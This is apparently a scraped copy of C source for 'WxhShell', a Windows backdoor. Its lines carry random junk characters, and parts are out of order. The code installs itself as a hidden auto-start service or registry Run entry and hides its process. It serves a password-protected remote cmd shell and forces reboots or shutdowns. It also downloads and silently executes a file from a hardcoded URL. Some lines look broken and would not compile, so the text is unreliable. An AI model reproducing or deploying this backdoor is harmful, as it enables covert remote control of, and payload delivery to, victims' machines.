    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B }%2FUv  
    if(Boot(SHUTDOWN)) ~ C%I'z'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI]EfHU  
    else { <7Pp98si,u  
    closesocket(wsh); \fTQNF  
    ExitThread(0); !\4B.  
    } #}y8hzS$  
    break; T#-;>@a}  
    } la+Cra&xL  
  // 获取shell mF\!~ag|  
  case 's': { a)ry}E =f  
    CmdShell(wsh); op9dYjG7  
    closesocket(wsh); A_9^S!  
    ExitThread(0); ]S&ki}i&  
    break; Su,:f_If,  
  } !-7n69:G  
  // 退出 i WD|F-  
  case 'x': { Z,#H\1v3lB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cp(qaa  
    CloseIt(wsh); klJ21j0Bb2  
    break; rT[qh+KWe  
    } 2.z-&lFBZ  
  // 离开 qMJJBl  
  case 'q': {  viAAb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yV8J-YdsG  
    closesocket(wsh); vO1; ;  
    WSACleanup(); 6`CRT TJ7  
    exit(1); EWD^=VITL  
    break; '3672wF/  
        } 4c< s"2F  
  } #3qeRl  
  } nFn!6,>E  
z;S-Q,  
  // 提示信息 WSHPh hM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nf /*n  
} p?Azn>qBa  
  } lNL=Yu2p_  
xW`y7Q}p  
  return; 2; ^ME\  
} Vbl-Ff  
Z#d#n!Lz  
// shell模块句柄 Bx#i?=*W  
int CmdShell(SOCKET sock) 4MS<t FH)  
{ C")genMH  
STARTUPINFO si; Kb?{^\FiU  
ZeroMemory(&si,sizeof(si)); ~'_cBJ 'XD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;yJ:W8U]+;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o]oiJvOr  
PROCESS_INFORMATION ProcessInfo; U0_^6zd_  
char cmdline[]="cmd"; 06pvI}   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Ub `\ytx  
  return 0; !e|\1v'0  
} !B3TLe h  
R(~wSL*R>  
// 自身启动模式 R p&J!hlA  
int StartFromService(void) U7s$';y"%  
{ 27eG8  
typedef struct >u$8Z  
{ Tzex\]fw  
  DWORD ExitStatus; -)}s{[]d6m  
  DWORD PebBaseAddress; qG6s.TcG  
  DWORD AffinityMask; sP(+Z^/  
  DWORD BasePriority; 5Ml=<^  
  ULONG UniqueProcessId; HK!ecQ^+  
  ULONG InheritedFromUniqueProcessId; 6$r\p2pi0  
}   PROCESS_BASIC_INFORMATION; Xi&J%N'  
W*C~Xba<  
PROCNTQSIP NtQueryInformationProcess; I$7eiW @  
+& r!%j7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -@#w)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {z FME41>g  
p u(mHB  
  HANDLE             hProcess; F^O83[S  
  PROCESS_BASIC_INFORMATION pbi; T0w_d_aS  
lxL5Rit@Px  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KG'i#(u[  
  if(NULL == hInst ) return 0; 6TW7E }a.  
n[ B~C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 ~v 17  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B?VTIq>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7QsD"rL  
@gI1:-chB  
  if (!NtQueryInformationProcess) return 0; fM;,9  
;/K2h_=3z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zU?O)w1'  
  if(!hProcess) return 0; /}?7Eni  
!__0Vk[s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [%P#ieD4  
CZ5\Et6r  
  CloseHandle(hProcess); #V!a<w4_  
KrE 'M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ntW@Fm:bw>  
if(hProcess==NULL) return 0; 9|+6@6VY!  
P=94  
HMODULE hMod; s\ -,RQ1  
char procName[255]; .9jKD*U|  
unsigned long cbNeeded; z]G|)16  
s*izhjjX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \/NF??k,jk  
ukWn@q*  
  CloseHandle(hProcess); @?3f`l 9  
 js_`L#t  
if(strstr(procName,"services")) return 1; // 以服务启动 8-2 `S*  
gF)9a_R%p  
  return 0; // 注册表启动 "%-Vrb=:Y  
} wX,V:QE  
<g[z jV9p  
// 主模块 %nZl`<M  
int StartWxhshell(LPSTR lpCmdLine) Z?axrGmg0  
{ hS]w A"\87  
  SOCKET wsl; vi,hWz8WB  
BOOL val=TRUE; Y?0/f[Ax,y  
  int port=0; $coO~qvU  
  struct sockaddr_in door; X,QsE{  
ZwmucY%3  
  if(wscfg.ws_autoins) Install(); -#|D>  
q A)O kR'm  
port=atoi(lpCmdLine); cr1x CPJj  
 ?%,NOX  
if(port<=0) port=wscfg.ws_port; un{ZysmtB6  
m@4Dz|  
  WSADATA data; 6\4-I^=B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y2H-D{a27  
r\Nfq(w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CXlbtpK2k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jj5S+ >4  
  door.sin_family = AF_INET; EApKN@<"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z>rY9VvWD  
  door.sin_port = htons(port); nr!N%Hi  
F-yY(b]$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^#/FkEt7bp  
closesocket(wsl); %MHb  
return 1; U&5* >fd=  
} Kgbm/L0XR*  
XjX  
  if(listen(wsl,2) == INVALID_SOCKET) { /)P}[Q4  
closesocket(wsl); AYts &+  
return 1; isQ(O  
} 'YL[s  
  Wxhshell(wsl); FwCb$yE#M  
  WSACleanup(); @YJI'Hf67  
(f#(B2j  
return 0; =*mT{q@  
~ Z\:Nx  
} =6%oW2E\  
22\!Z2@T/  
// 以NT服务方式启动 EYAaK^ &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(o"/*  
{ oaoTd$/5  
DWORD   status = 0; /R)wM#&  
  DWORD   specificError = 0xfffffff; >[}oH2oi  
hx;f/E Px  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y>^a~}Zq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G95,J/w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {Mx(|)WkL  
  serviceStatus.dwWin32ExitCode     = 0; 8K 3dwoT  
  serviceStatus.dwServiceSpecificExitCode = 0; M([#Py9h  
  serviceStatus.dwCheckPoint       = 0; o96C^y{~S  
  serviceStatus.dwWaitHint       = 0; xs$$fPAQ  
n<I{x^!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rwm^{Qa  
  if (hServiceStatusHandle==0) return; IPiV_c-l  
cnv>&6a)  
status = GetLastError(); ZO0 Ee1/  
  if (status!=NO_ERROR) :GHv3hn5  
{ \o9 \i kR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )9QtnM  
    serviceStatus.dwCheckPoint       = 0; \;LDE`Q_x  
    serviceStatus.dwWaitHint       = 0; L4#pMc  
    serviceStatus.dwWin32ExitCode     = status; #&Sr;hAJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; X#B b?Pv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=*de Z<  
    return; 9"[;ld<  
  } v9*m0|T0M  
@-N` W9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e[S`Dm"i)'  
  serviceStatus.dwCheckPoint       = 0; 0#q=-M/?`  
  serviceStatus.dwWaitHint       = 0; }f}.>B0#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x%{]'z  
} ' W/M>!X  
z6>@9+V-&  
// 处理NT服务事件,比如:启动、停止 PnlI {d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d=!:UB  
{ Cy/&KWLenf  
switch(fdwControl) 0YeTS!*Aj  
{ -N *L1Zj  
case SERVICE_CONTROL_STOP: EY}:aur  
  serviceStatus.dwWin32ExitCode = 0; em$pU*`P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #YUaM<O  
  serviceStatus.dwCheckPoint   = 0; 1<@SMcj>  
  serviceStatus.dwWaitHint     = 0; mkl{Tp*  
  { ,$P,x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jG5HW*>k0  
  } d:H'[l.F%  
  return; 2G8pDvBr  
case SERVICE_CONTROL_PAUSE: e~'` x38  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `?Rq44=  
  break; U$rMZk  
case SERVICE_CONTROL_CONTINUE: Yo-}uTkw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H=t"qEp  
  break; XR5KJl  
case SERVICE_CONTROL_INTERROGATE: Xlo7enzY  
  break; wb-yAQ8  
}; 7*/{m K)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zM0NRERi  
} I<SgKva;c  
k$EVr([  
// 标准应用程序主函数 K|& f5w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z6jEj9?O  
{ Mf}M/Fh  
wBPo{  
// 获取操作系统版本 8~sP{V%  
OsIsNt=GetOsVer(); )8Va%{j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 _d2u#  
}x8!{Y#cF  
  // 从命令行安装 xo:kT)  
  if(strpbrk(lpCmdLine,"iI")) Install(); hy;VvAH 5  
IRdt:B|@  
  // 下载执行文件 jvT'N@  
if(wscfg.ws_downexe) { E+td~&x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hbjAxioA  
  WinExec(wscfg.ws_filenam,SW_HIDE); l,ENMKA^D  
} sdu?#O+c1  
'sNZFB#  
if(!OsIsNt) { W&z jb>0b0  
// 如果时win9x,隐藏进程并且设置为注册表启动 kc,"w\ ai  
HideProc(); BFLef3~.0  
StartWxhshell(lpCmdLine); 7>JYwU{  
} `i7r]  
else U=>S|>daR  
  if(StartFromService()) k[=qx{Osx%  
  // 以服务方式启动 p!.~hw9  
  StartServiceCtrlDispatcher(DispatchTable); ~%{2Z_t$  
else PnsBDf%v  
  // 普通方式启动 XtF m5\U  
  StartWxhshell(lpCmdLine); GK?ual1  
HpwMm^  
return 0; 74s{b]jN'-  
} |<%!9Z  
KKeMi@N  
{]vD@)k  
>1y6DC  
=========================================== ?ukw6T  
?Ua,ba*  
S_}`'Z )  
Cj5mM[:s  
:<% bAn  
t=_^$M,yr  
" K^- 1M?  
w~'xZ?  
#include <stdio.h> 9&Y@g)+2  
#include <string.h> *Cy54Z#  
#include <windows.h> +A9~h/"kt  
#include <winsock2.h> $ /VQsb  
#include <winsvc.h> [P$Xr6#  
#include <urlmon.h> UA[`{rf  
DM.lQ0xk  
#pragma comment (lib, "Ws2_32.lib") r8k(L{W  
#pragma comment (lib, "urlmon.lib") f^c+M~\JKj  
qsj{0Go  
#define MAX_USER   100 // 最大客户端连接数 p [O6  
#define BUF_SOCK   200 // sock buffer !iXRt")  
#define KEY_BUFF   255 // 输入 buffer sXKkZ+2q  
lU WXXuO]  
#define REBOOT     0   // 重启 7Z-j'pq  
#define SHUTDOWN   1   // 关机 -@TY8#O#-  
9tiZIm93]  
#define DEF_PORT   5000 // 监听端口 g40Hj Y  
OATdmHW  
#define REG_LEN     16   // 注册表键长度 jm0p%%z  
#define SVC_LEN     80   // NT服务名长度 _=v#"l  
+z >)'#  
// 从dll定义API ?H{[u rLn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )0{`}7X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QV4|f[Ki%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @SQsEq+A?\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z*@eQauA  
Q=~"xB8  
// wxhshell配置信息 tjdPi a  
struct WSCFG { A2 l?F  
  int ws_port;         // 监听端口 |Q?h"5i"(  
  char ws_passstr[REG_LEN]; // 口令 A=|XlP$6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0zt]DCdY  
  char ws_regname[REG_LEN]; // 注册表键名  ZR.k'  
  char ws_svcname[REG_LEN]; // 服务名 &(F c .3m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g` rr3jP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =]5tYIU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  T:}Q3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w$2q00R>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'g v0;L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ovs[&  
f}otIf  
}; a[{$4JpK  
m*0YMS>Y |  
// default Wxhshell configuration 7vRtTP  
struct WSCFG wscfg={DEF_PORT, bzN[*X|  
    "xuhuanlingzhe", 5#Er& 6s  
    1, }~FX!F#oU  
    "Wxhshell", c-Gp|.C  
    "Wxhshell", gF6> /  
            "WxhShell Service", 0b&# w  
    "Wrsky Windows CmdShell Service", 'u,|*o  
    "Please Input Your Password: ", wmVmGa R  
  1, Pk?$\  
  "http://www.wrsky.com/wxhshell.exe", U S^% $Z:  
  "Wxhshell.exe" TG2#$Bq1  
    }; {DO9%ej)  
 F/Goq`  
// 消息定义模块 E0HqXd?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CTMC78=9}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }T5@P {3P3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  A l[ZU  
char *msg_ws_ext="\n\rExit."; ^:9a1{L[  
char *msg_ws_end="\n\rQuit."; r" H::A  
char *msg_ws_boot="\n\rReboot..."; Ds1h18  
char *msg_ws_poff="\n\rShutdown..."; \aSP7DzqQ  
char *msg_ws_down="\n\rSave to "; {kpad(E  
I{Du/"r#  
char *msg_ws_err="\n\rErr!"; n,I3\l9  
char *msg_ws_ok="\n\rOK!"; 9>RkFV  
$b8[/],  
char ExeFile[MAX_PATH]; emSq{A  
int nUser = 0; Kda'N$|`  
HANDLE handles[MAX_USER]; mc{z  
int OsIsNt; !Ko2yn}6l  
x}G:n[B7_V  
SERVICE_STATUS       serviceStatus; Hv6h7-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ) f?I{  
!gh8 Qs  
// 函数声明 i_qY=*a?y  
int Install(void); \w9}O2lL  
int Uninstall(void); WfPb7T  
int DownloadFile(char *sURL, SOCKET wsh); =m.Nm-g  
int Boot(int flag); >$Y/B=e  
void HideProc(void); ;zCUx*{  
int GetOsVer(void); VcjbRpTy&  
int Wxhshell(SOCKET wsl); Q14zc0N  
void TalkWithClient(void *cs); eORXyh\K  
int CmdShell(SOCKET sock); k1&9 bgI  
int StartFromService(void); `46~j  
int StartWxhshell(LPSTR lpCmdLine); s$Vl">9#  
Ni~IY# '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dsTX?E<R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G e;67  
}'[>~&/"  
// 数据结构和表定义 -CPtYG[s  
SERVICE_TABLE_ENTRY DispatchTable[] = 7x)Pt@c  
{ \ o<ucp\J  
{wscfg.ws_svcname, NTServiceMain}, 3,PR6a,b'  
{NULL, NULL} mK:gj&N7X|  
}; ^PG"  
:{u`qi  
// 自我安装 |q`NJ  
int Install(void) m*^)#  
{ zt.k Nb  
  char svExeFile[MAX_PATH]; OqtGKda  
  HKEY key; ^*.[b  
  strcpy(svExeFile,ExeFile); Ai/X*y:[?  
(\\;A?  
// 如果是win9x系统,修改注册表设为自启动 D4%J!L<P  
if(!OsIsNt) { @3`5(xwzm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =rKJJa N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b.*LmSX#  
  RegCloseKey(key); Q)75?mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yan^\)HZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Qml~?$@lH  
  RegCloseKey(key); tYA@J["^  
  return 0; ?Y"%BS+pt  
    } 161P%sGx2  
  } }:8}i;#M  
} U>tR:)  
else { 20Zxv!  
^'QO!{7f  
// 如果是NT以上系统,安装为系统服务 !h? HfpYv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fPe S;  
if (schSCManager!=0) _8G w Mj  
{ bBIh}aDN  
  SC_HANDLE schService = CreateService G'|ql5Zw  
  ( ^\}MG!l  
  schSCManager, W3:j Z:  
  wscfg.ws_svcname, aoy Be|H~=  
  wscfg.ws_svcdisp, {4_s:+v0  
  SERVICE_ALL_ACCESS, i6Z7O )V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i'f w>-0  
  SERVICE_AUTO_START, M CC4'  
  SERVICE_ERROR_NORMAL, 3.W[]zH/u  
  svExeFile, w=KfkdAJ*/  
  NULL, sx?IIFF  
  NULL, - 2)k!5X=  
  NULL, PUQ",;&y1  
  NULL, <]Td7-n  
  NULL TV`1&ta  
  ); 99yWUC,  
  if (schService!=0) BU -;P  
  { bEcs(Mc~  
  CloseServiceHandle(schService); |[],z 8  
  CloseServiceHandle(schSCManager); s;A7:_z#7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a1pp=3Pd?~  
  strcat(svExeFile,wscfg.ws_svcname); @i ~A7L0/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +4yre^gC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `v -[&  
  RegCloseKey(key); .x I Aep_  
  return 0; nJI2IPZ  
    } 8AR8u!;8  
  } 4t*%(  
  CloseServiceHandle(schSCManager); (xgw';g  
} ?]><#[?'L  
} ]>M\|,wh  
"B'c;0 @q  
return 1; >0HH#JW  
} WK|5:V8E  
.\_):j*  
// 自我卸载 /r4l7K  
int Uninstall(void) XFWpHe_ L  
{ $;5Q mKQ'  
  HKEY key; tW/k  
|r~u7U\  
if(!OsIsNt) { V$ZclV2:Ih  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N.*)-O  
  RegDeleteValue(key,wscfg.ws_regname); Kq[4I[+R  
  RegCloseKey(key); 5 `1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gnJ8tuS  
  RegDeleteValue(key,wscfg.ws_regname); AM+5_'S,  
  RegCloseKey(key); kQkc+sGJf  
  return 0; 9#9 UzKX#  
  } @gN"Q\;F  
} O2fq9%lk  
} !hVbx#bXl  
else { oC`F1!SfOO  
Pn!~U] A$%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !.P||$x`&  
if (schSCManager!=0) !E$$ FvL  
{ n])#<0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g8O6 b  
  if (schService!=0) @43psq1  
  { <,CrE5Pl  
  if(DeleteService(schService)!=0) { N3"JouP  
  CloseServiceHandle(schService); <0d2{RQ;  
  CloseServiceHandle(schSCManager); 40?RiwwD  
  return 0; qyM/p.mP  
  } tWn dAM(U7  
  CloseServiceHandle(schService); a&>NuMDI  
  } +q&Hj|;8r  
  CloseServiceHandle(schSCManager); Q:b0M11QR  
} qfsPX6]  
} ?/YABY}L  
cWAw-E5  
return 1; &nIu^,.  
} vAX(3  
uZ6krI  
// 从指定url下载文件 r w!jmvHE&  
int DownloadFile(char *sURL, SOCKET wsh) 8m"k3:e^  
{ 3(c-o0M  
  HRESULT hr; (;#c[eKy  
char seps[]= "/"; 8>YF}\D V  
char *token; \Kf\%Q  
char *file; )- W1Wtom  
char myURL[MAX_PATH]; JP4DV=}L  
char myFILE[MAX_PATH]; AW5iwq6p  
~5,^CTAM  
strcpy(myURL,sURL); %:aXEjm@  
  token=strtok(myURL,seps); O cL7] b0  
  while(token!=NULL) %j tUbBN  
  { :)#;0o5  
    file=token; $z=%e#(!I  
  token=strtok(NULL,seps); 7}&:07U  
  } u%C oo  
f\_RW;y|m  
GetCurrentDirectory(MAX_PATH,myFILE); c|/HX%Y  
strcat(myFILE, "\\"); FJeh=\  
strcat(myFILE, file); @jn&Wf?  
  send(wsh,myFILE,strlen(myFILE),0); m?kiGC&m  
send(wsh,"...",3,0); =Pv_,%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ *&\5rPb  
  if(hr==S_OK) y?OP- 27y  
return 0; wqo:gW_  
else 2|;|C8C  
return 1; m?(8T|i  
[rx9gOOa&  
} f=^xU P  
[NSslVr  
// 系统电源模块 .?{no}u.  
int Boot(int flag) f30J8n"k  
{ ~A>fB2.pM  
  HANDLE hToken; F CYGXtc  
  TOKEN_PRIVILEGES tkp; M5no4P<  
-+ByK#<%  
  if(OsIsNt) { j !*,(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [oh06_rB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _^E NRk@  
    tkp.PrivilegeCount = 1; @bg9 }Z%\h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?;,;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h~>1 -T8  
if(flag==REBOOT) { }StzhV{GS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %O`@}Tg  
  return 0; m]jA(  
} EL~$7 J  
else { IWE([<i}i[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mI8EeMa{  
  return 0;  rDFrreQP  
} ( eKgc  
  } aMI;; iL^  
  else { LhO\a  
if(flag==REBOOT) { 0%bCP/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NQqw|3  
  return 0; )M0`dy{1  
} 5t:Zp\$+`  
else { &ZD@-"@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8xB-cE  
  return 0; u[)X="-e#  
} m4m-JD|v  
} 58Ibje  
^ 9+ Qxv  
return 1; v*.R<- X:  
} )=f}vHg$  
&>qUT]w  
// win9x进程隐藏模块 7$<pdayd  
void HideProc(void) &m3-][ !n  
{ RQ E]=N  
cb_C2+%8NA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CtY-Gs  
  if ( hKernel != NULL ) kQ>2W5o-d-  
  { }{F)Ren  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pk;w.)kT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CFFb>d  
    FreeLibrary(hKernel); `ArUoYb B  
  } Ovt]3`U9J  
qe.QF."y  
return; F>\,`wP  
} fAJyD`]Z  
a{ST4d'T  
// 获取操作系统版本 (}b~}X9  
int GetOsVer(void) g !^N#o  
{ 2 `AdNt,  
  OSVERSIONINFO winfo; +,spC`M6h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N1'"7eg/  
  GetVersionEx(&winfo); ^ =C>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #czI nXTTx  
  return 1; jz f~n~  
  else Vq3NjN!+5  
  return 0; <.)=CK  
} M@TG7M7Os  
d~8U1}dP  
// 客户端句柄模块 =>'8<"M5z  
int Wxhshell(SOCKET wsl) `sm Cfh}j6  
{ ~m=GS[=  
  SOCKET wsh; I<QUvs%e  
  struct sockaddr_in client; v:SHaUS  
  DWORD myID; Q+1ot,R  
8fqabR  
  while(nUser<MAX_USER) wKpGJ& {  
{ jnqp" Ult>  
  int nSize=sizeof(client); LGL;3EI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +c_AAMe  
  if(wsh==INVALID_SOCKET) return 1; s{dm,|?Jl,  
<pk*z9   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [j@ek  
if(handles[nUser]==0) zh) &6'S\  
  closesocket(wsh); E6GubU  
else <qR$ `mLN  
  nUser++; !IOmJpl'  
  } 6Y2,fW8i,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D#<y pJR  
L9/'zhiZBx  
  return 0; )FwOg;=3M"  
} n@`3O'S  
'`upSJ;e  
// 关闭 socket <l1/lm<#  
void CloseIt(SOCKET wsh) `:lcN0n  
{ 7Q/H+)  
closesocket(wsh); mywx V  
nUser--; k$v 7@|Aw  
ExitThread(0); Qb@j8Xa4[  
} 1le9YL1_g  
ZTTA??}Y  
// 客户端请求句柄 q-t%spkl  
void TalkWithClient(void *cs) @ fMlbJq  
{ vE9"1M  
b#I,Z+0ry  
  SOCKET wsh=(SOCKET)cs; {b-C,J  
  char pwd[SVC_LEN]; 6Y[&1c8  
  char cmd[KEY_BUFF]; s>;"bzzq  
char chr[1]; oRd{?I&NY  
int i,j; <vl(a*4a  
)[hs#nKTh  
  while (nUser < MAX_USER) { !&OdbRHM  
Kj?)]Z4  
if(wscfg.ws_passstr) { Y<;C>Rs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )%jS9e{d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?4SYroXUX|  
  //ZeroMemory(pwd,KEY_BUFF); q[/g3D\G  
      i=0; _dd_Z40R  
  while(i<SVC_LEN) { KdR\a&[MA  
%enJ[a%Qg  
  // 设置超时 ` .`:~_OE  
  fd_set FdRead; ]}SV%*{ %  
  struct timeval TimeOut; s;h`n$  
  FD_ZERO(&FdRead); f@Mku0VT  
  FD_SET(wsh,&FdRead); PE7V1U#$o,  
  TimeOut.tv_sec=8; '0 Ys`Qo  
  TimeOut.tv_usec=0; t>]W+Lx#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K/(LF}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =O8YU)#  
M(8xwo-W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4`~OxL  
  pwd=chr[0]; ,dba:D= l  
  if(chr[0]==0xd || chr[0]==0xa) { `*CoVx~fk  
  pwd=0; /,7#%D  
  break; *Iw19o-I  
  } Q \X_JZ  
  i++; ])pX)(a  
    } R&s/s`pLW  
Jur$O,u40l  
  // 如果是非法用户,关闭 socket 6Hc25NuQZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7# 'j>]  
} aJm5`az)  
RGV{KL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &[\zs&[@y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &>B|?d  
!5+9~/;  
while(1) { PvUY Q>Kw  
~=wBF  
  ZeroMemory(cmd,KEY_BUFF); ,hK =x  
mp3Dc  
      // 自动支持客户端 telnet标准   7TAoWD3  
  j=0; j,,#B4b  
  while(j<KEY_BUFF) { WV}pE~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p"\-iY]  
  cmd[j]=chr[0]; JK md'ZGw  
  if(chr[0]==0xa || chr[0]==0xd) { lItr*,A]  
  cmd[j]=0; =uwG.,lC  
  break; O'S xTwO  
  } >y+j!)\  
  j++; s5 Fn("h]n  
    } yPbOiA*lHz  
HH!SqkwT  
  // 下载文件 *=z.H  *  
  if(strstr(cmd,"http://")) { |q o3 E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hQSJt[8My  
  if(DownloadFile(cmd,wsh)) 5}N O~Xd<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cyv_(Oh?dv  
  else 'iYaA-9j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7; }TNK\+v  
  } VAxk?P0j6  
